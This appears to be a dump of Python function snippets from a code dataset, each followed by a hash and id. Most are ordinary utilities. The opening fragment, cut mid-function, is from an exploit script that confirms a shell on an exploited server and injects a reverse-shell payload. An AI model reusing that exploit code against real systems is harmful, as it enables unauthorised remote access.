if re.search(r'^uid=', uid_data):
uid = uid_data.split('(')[1].split(')')[0]
print('Got shell as user {}!'.format(uid))
# send a simple reverse shell from the exploited server to the attacking host
print('Injecting and running payload.')
sent_bytes = conn.send('nohup {} >/dev/null 2>&1\n'.format(payload).encode())
return True
else:
print(uid_data)
return False
|
907df512f344288d076c1d1fed95aecfc016d413
| 697,014 |
def doublecomplement(i,j):
"""
returns the two element of (1,2,3,4) not in the input
"""
list=[1,2,3,4]
list.remove(i)
list.remove(j)
return list
|
b4bb329b320b2b8c3e7b7648914636f96394b6d7
| 697,016 |
def yr_label(yr_range):
"""Create label of start and end years for aospy data I/O."""
assert yr_range is not None, "yr_range is None"
if yr_range[0] == yr_range[1]:
return '{:04d}'.format(yr_range[0])
else:
return '{:04d}-{:04d}'.format(*yr_range)
|
c453d759a23dce169593afc64846e9560d9f1cb5
| 697,017 |
def setup_with_context_manager(testcase, cm):
"""Use a contextmanager to setUp a test case.
If you have a context manager you like::
with ctxmgr(a, b, c) as v:
# do something with v
and you want to have that effect for a test case, call this function from
your setUp, and it will start the context manager for your test, and end it
when the test is done::
def setUp(self):
self.v = setup_with_context_manager(self, ctxmgr(a, b, c))
def test_foo(self):
# do something with self.v
"""
val = cm.__enter__()
testcase.addCleanup(cm.__exit__, None, None, None)
return val
|
e2a67d9a9600203223a220eb0a5e40c96ae6166d
| 697,018 |
from typing import Tuple
def hosting_period_get(month: int) -> Tuple[int, int]:
"""Determine the Hosting period for the current month."""
# In February only, Hosts begin on the 1st and 15th
if month == 2:
return (1, 15)
# For all other months, Hosts begin on the 1st and 16th
return (1, 16)
|
77d7bc84f969b8be0f4e81ddb26d96e0d7569561
| 697,022 |
def exclude_sims_by_regex(sims, regex):
"""Removes sims by using a regular expression.
DESCRIPTION:
Returns all sims that do NOT match the regular expression.
ARGS:
sims (iterable of strings): An iterable of strings contating candidate
sim files
regex (_sre.SRE_Pattern): The regular expression to use. This should
be compiled e.g., re.compile(r'.+sim') which will find all sim files.
RETURNS:
A list of strings that do not match the regular expression.
"""
output = []
for sim in sims:
if not regex.search(sim):
output.append(sim)
return output
|
e8ca8399430e7d0017e1fb621b38103eac678089
| 697,023 |
import pytz
def http_date(dt):
""" Convert datetime object into http date according to RFC 1123.
:param datetime dt: datetime object to convert
:return: dt as a string according to RFC 1123 format
:rtype: str
"""
return dt.astimezone(pytz.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
|
20db2de2969216d201bc65227fb4b54e5c71a4c5
| 697,024 |
def build_telegram(name: str, message: str, title="Dr") -> str:
"""Generate a properly formatted telegram message body.
Args:
name: The recipient of this telegram
message: The message to send this user
title: The recipient's title
Returns:
A properly formatted string for a telegram message
"""
STOP = " -STOP- "
punctuation = [".", ",", "!"]
for symbol in punctuation:
message = message.replace(symbol, STOP)
greeting = f"ATTN {title} {name}{STOP} "
telegram = f"{greeting}{message}".upper()
return telegram
|
7d3af3b3a61a7f2f141be6f50e10199e340245d2
| 697,027 |
def train2rect(ratios, imagew, imageh):
"""
Takes in data used during training and transforms it into format matching
the format outputted by darknet's valid function.
"""
xratio, yratio, wratio, hratio = ratios
xmin = xratio*imagew - wratio*imagew/2
ymin = yratio*imageh - hratio*imageh/2
xmax = xratio*imagew + wratio*imagew/2
ymax = yratio*imageh + hratio*imageh/2
return (xmin, ymin, xmax, ymax)
|
7675df2c314088d6363bf40dff1aac04b22c61bf
| 697,028 |
def is_key_complete(key):
"""Returns true if the key is complete. Complete keys are marked
with a blank symbol at the end of the string. A complete key
corresponds to a full word, incomplete keys cannot be mapped to
word IDs.
Args:
key (string): The key
Returns:
bool. Return true if the last character in ``key`` is blank.
"""
return key and key[-1] == ' '
|
ecf905f973fd14f1be21b1490ad8a18988397ab9
| 697,029 |
def acknowledgements(name, tag):
"""Returns acknowledgements for space weather dataset
Parameters
----------
name : string
Name of space weather index, eg, dst, f107, kp
tag : string
Tag of the space waether index
"""
swpc = ''.join(['Prepared by the U.S. Dept. of Commerce, NOAA, Space ',
'Weather Prediction Center'])
ackn = {'kp': {'': 'Provided by GFZ German Research Centre for Geosciences',
'forecast': swpc, 'recent': swpc}}
return ackn[name][tag]
|
f490fe6cd4f85baad6a097b71410bb014ec0394e
| 697,030 |
def rectangleOverlap(BLx1, BLy1, TRx1, TRy1, BLx2, BLy2, TRx2, TRy2):
""" returns true if two rectangles overlap
BL: Bottom left
TR: top right
"1" rectangle 1
"2" rectangle 2
"""
return not (TRx1 < BLx2 or BLx1 > TRx2 or TRy1 < BLy2 or BLy1> TRy2)
|
96ea5aab6738f72587c5dd9db45598e291e68338
| 697,031 |
from typing import Tuple
def _identify_missing_columns(
schema_field_names: Tuple[str, ...],
column_names: Tuple[str, ...],
) -> Tuple[bool, ...]:
"""Returns boolean mask of schema field names not in column names."""
return tuple(field_name not in column_names for field_name in schema_field_names)
|
c6ca296e5dd4d2271b06e5e3a21a3a8d716d76cd
| 697,033 |
import re
def get_patient_uuid(element):
"""
Extracts the UUID of a patient from an entry's "content" node.
>>> element = etree.XML('''<entry>
... <content type="application/vnd.atomfeed+xml">
... <![CDATA[/openmrs/ws/rest/v1/patient/e8aa08f6-86cd-42f9-8924-1b3ea021aeb4?v=full]]>
... </content>
... </entry>''')
>>> get_patient_uuid(element)
'e8aa08f6-86cd-42f9-8924-1b3ea021aeb4'
"""
# "./*[local-name()='content']" ignores namespaces and matches all
# child nodes with tag name "content". This lets us traverse the
# feed regardless of whether the Atom namespace is explicitly given.
content = element.xpath("./*[local-name()='content']")
pattern = re.compile(r'/patient/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\b')
if content and len(content) == 1:
cdata = content[0].text
matches = pattern.search(cdata)
if matches:
return matches.group(1)
raise ValueError('Patient UUID not found')
|
0d80313b6c7305ec72c96e29269d15718e4105da
| 697,034 |
from typing import List
def csv_to_ints(school_description: str) -> List[int]:
"""Convert a comma separated string of integers to a list of integers.
Returns
-------
list[int]
The list of integers from the string of comma separated values.
>>> csv_to_ints('3,8,0')
[3, 8, 0]
"""
return [int(integer) for integer in school_description.strip().split(',')]
|
199fe36a12ba5a95895110c0614761578bc786ca
| 697,040 |
def event_counter(json_, counter):
"""
takes a json and counts the number of events that happened during that game
inputs
------
json__: events json
counter: counter dictionary
returns
-----
counter: counter dict with counts
"""
for event in json_:
event_type = event['type']['name']
counter[event_type] +=1
return counter
|
97a10f5f219cf383c419ba65764b4c9c3f47b5ec
| 697,043 |
import hashlib
import base64
def calc_md5(string):
"""Generates base64-encoded MD5 hash of `string`."""
md5_hash = hashlib.md5()
md5_hash.update(string)
return base64.b64encode(md5_hash.digest()).strip(b"\n")
|
88135c92de48fe45888a4a4243cce13fcddceca8
| 697,044 |
def get_content(file):
"""Returns a string
If file 'bruh' contains "Hellor"
get_content("bruh") returns 'Hellor'
"""
file = open(file, "r")
res = file.read()
file.close()
return res
|
ae86220be856e23ed143d77117a181054565eff0
| 697,045 |
def convert_to_float(frac_str):
"""
convert string of fraction (1/3) to float (0.3333)
Parameters
----------
frac_str: string, string to be transloated into
Returns
-------
float value corresponding to the string of fraction
"""
try:
return float(frac_str)
except ValueError:
num, denom = frac_str.split('/')
try:
leading, num = num.split(' ')
whole = float(leading)
except ValueError:
whole = 0
frac = float(num) / float(denom)
return whole - frac if whole < 0 else whole + frac
|
4f4e2ad0e5eeee7a8cc54b8b724031a48a48d747
| 697,047 |
import re
def parse_fst_session_event(ev):
"""Parses FST session event that comes as a string, e.g.
"<3>FST-EVENT-SESSION event_type=EVENT_FST_SESSION_STATE session_id=0 reason=REASON_STT"
Returns a dictionary with parsed "type", "id", and "reason"; or None if not
a FST event or can't be parsed"""
event = {}
if ev.find("FST-EVENT-SESSION") == -1:
return None
event['new_state'] = '' # The field always exists in the dictionary
f = re.search("event_type=(\S+)", ev)
if f is None:
return None
event['type'] = f.group(1)
f = re.search("session_id=(\d+)", ev)
if f is not None:
event['id'] = f.group(1)
f = re.search("old_state=(\S+)", ev)
if f is not None:
event['old_state'] = f.group(1)
f = re.search("new_state=(\S+)", ev)
if f is not None:
event['new_state'] = f.group(1)
f = re.search("reason=(\S+)", ev)
if f is not None:
event['reason'] = f.group(1)
return event
|
e57cb2561e23ad89bb42559ae90c61c22d98e977
| 697,048 |
from typing import List
def parse_input_file(file_path: str) -> List[List[int]]:
"""Parse a file with the following format:
21 22 24
12
7 21 23
Returns each line as integers in a nested list
"""
with open(file_path) as input_file:
parsed_file = [list(map(int, line.split())) for line in input_file.readlines()]
return parsed_file
|
f281dbcc7c9dc70eab491b1a334e0cb0cc3e45e4
| 697,049 |
def unlines(line):
"""Remove all newlines from a string."""
return line.translate(str.maketrans('\n', ' '))
|
0c2079d9694a8c48f8ddf0a87696ea89a72b1dc3
| 697,050 |
def reencode(s):
"""Reencodes a string using xmlcharrefreplace."""
return s.encode('ascii', 'xmlcharrefreplace').decode()
|
ff5bd9c2ac6754bf76f3935c947a3081f83a6781
| 697,056 |
import random
def distselect(weight_l):
"""Perform a weighted selection using the weights
from the provided list. Return the selected index"""
if not isinstance(weight_l, list):
raise Exception("distselect requires a list of values")
# Create a weight/index vector
weight_v = []
total_w = 0
for i,v in enumerate(weight_l):
w = int(v)
total_w += w
weight_v.append((w, i))
# Order by weight value
weight_v.sort(key=lambda e:e[0])
rand_v = random.randint(1, total_w)
for we in weight_v:
rand_v -= we[0]
if rand_v <= 0:
# Return the selected index
return we[1]
# Return the last index
return weight_v[-1][1]
|
8877c957cbd3c82f37f9bec948fb64c1c33dc341
| 697,060 |
import requests
def retrieve_online_json(url:str) -> dict:
"""
This function downloads an online json file and returns it.
:argument url: The url where to find the json file to retrieve.
:return: A dictionary containing all the downloaded data.
"""
return requests.get(url).json()
|
d99d7219f91f2ab67bace1b0ef0d4e9c4201318e
| 697,062 |
import re
def strip_markdown(s):
"""
Strip some common markdown out of
the description, for the cases where the
description is taken from the first paragraph
of the text.
"""
s = re.sub("[\\[\\]]", "", s)
s = re.sub("\(.*\)", "", s)
return s
|
e10e02ec385990e908e4096272df40f3dccee364
| 697,064 |
def get_expression_samples(header_line):
"""
Parse header of expression file to return sample names and column indices.
Args:
header_line (str): Header line from expression file.
Returns:
act_samples (dict): Dictionary of {sample_name (str): sample_data_index (int)}.
sample_data_index is index for data in sample list, not the line as a whole.
e.g.: [samp1, samp2, samp3] & [20, 10, 5] for data values, then {'samp1': 0}.
"""
line_list = header_line.strip().split("\t")
samples = line_list[4:]
exp_samples = {}
for item in samples:
samp_idx = samples.index(item)
sample = item.split(".")[0]
exp_samples[sample] = samp_idx
return exp_samples
|
615ee0421b1efaf4ef45cab9610cea883f9636b1
| 697,066 |
def PyMapping_Check(space, w_obj):
"""Return 1 if the object provides mapping protocol, and 0 otherwise. This
function always succeeds."""
return int(space.ismapping_w(w_obj))
|
f9d0644fc5f7bfeaa3c08b2c2596a4658b2e508b
| 697,075 |
def validate_field(field):
"""
Return field if it exists
otherwise empty string
:param field: string to validate
:return: field: input string if not empty, empty string otherwise
"""
if field:
pass
else:
field = ''
return field
|
a7f631372914de355872063d80f40c586c098788
| 697,077 |
def linear_search(nums_array: list, search: int) -> int:
"""
Linear Search Algorithm
Time Complexity --> O(N)
:param nums_array: list
:param search: int
:return index: int
"""
for i in range(len(nums_array)):
if search == nums_array[i]:
return i
return -1
|
a02db3d42d6b6f1b8b2a82940d3e17d69bbd41e7
| 697,079 |
import math
def _acosd(v):
"""Return the arc cosine (measured in in degrees) of x."""
return math.degrees(math.acos(v))
|
2e31e36a33a4ac25f2b2548733138dcbf910028f
| 697,081 |
def sort_quick(data):
"""快速排序。
选择第一个元素为主元 `pivot`,其余元素若小于 `pivot`,则放入 `left_list`,否则放入
`right_list`。递归地对子列表调用 `sort_quick`,直至排序完成。
"""
if len(data) <= 1:
return data
pivot = data[0]
left_list = []
right_list = []
for i in data[1:]: # `data` 中至少有 2 个元素
if i < pivot:
left_list.append(i)
else:
right_list.append(i)
return sort_quick(left_list) + [pivot] + sort_quick(right_list)
|
edf1aabddc992aa04e0db6631011a498f7aa65be
| 697,082 |
import torch
def finalize(s0, s1, s2):
"""Concatenate scattering of different orders.
Parameters
----------
s0 : tensor
Tensor which contains the zeroth order scattering coefficents.
s1 : tensor
Tensor which contains the first order scattering coefficents.
s2 : tensor
Tensor which contains the second order scattering coefficents.
Returns
-------
s : tensor
Final output. Scattering transform.
"""
if len(s2)>0:
return torch.cat([torch.cat(s0, -2), torch.cat(s1, -2), torch.cat(s2, -2)], -2)
else:
return torch.cat([torch.cat(s0, -2), torch.cat(s1, -2)], -2)
|
f9c1bd7f9072b7e34c5e90ca1c245a98b9d7bf8c
| 697,085 |
def quarter_for_month(month):
"""return quarter for month"""
if month not in range(1, 13):
raise ValueError('invalid month')
return {1: 1, 2: 1, 3: 1,
4: 2, 5: 2, 6: 2,
7: 3, 8: 3, 9: 3,
10: 4, 11: 4, 12: 4}[month]
# return (month + 2) // 3
|
559bb2d194753efa3c2ee18aee3040dba05a4f85
| 697,086 |
def is_equal(x, y, tolerance=0.000001):
"""
Checks if 2 float values are equal withing a given tolerance
:param x: float, first float value to compare
:param y: float, second float value to compare
:param tolerance: float, comparison tolerance
:return: bool
"""
return abs(x - y) < tolerance
|
2773cb526d00149e735853310986b581e1eec1e8
| 697,088 |
def _find_seam_what(paths, end_x):
"""
Parameters
==========
paths: 2-D numpy.array(int64)
Output of cumulative_energy_map. Each element of the matrix is the offset of the index to
the previous pixel in the seam
end_x: int
The x-coordinate of the end of the seam
Returns
=======
1-D numpy.array(int64) with length == height of the image
Each element is the x-coordinate of the pixel to be removed at that y-coordinate. e.g.
[4,4,3,2] means "remove pixels (0,4), (1,4), (2,3), and (3,2)"
"""
height, width = paths.shape[:2]
seam = [end_x]
for i in range(height-1, 0, -1):
cur_x = seam[-1]
offset_of_prev_x = paths[i][cur_x]
seam.append(cur_x + offset_of_prev_x)
seam.reverse()
return seam,sum([paths[r,seam[r]] for r in range(height)])
|
dcff07b965f17ffc2fb5b5607fc88338301ca076
| 697,093 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.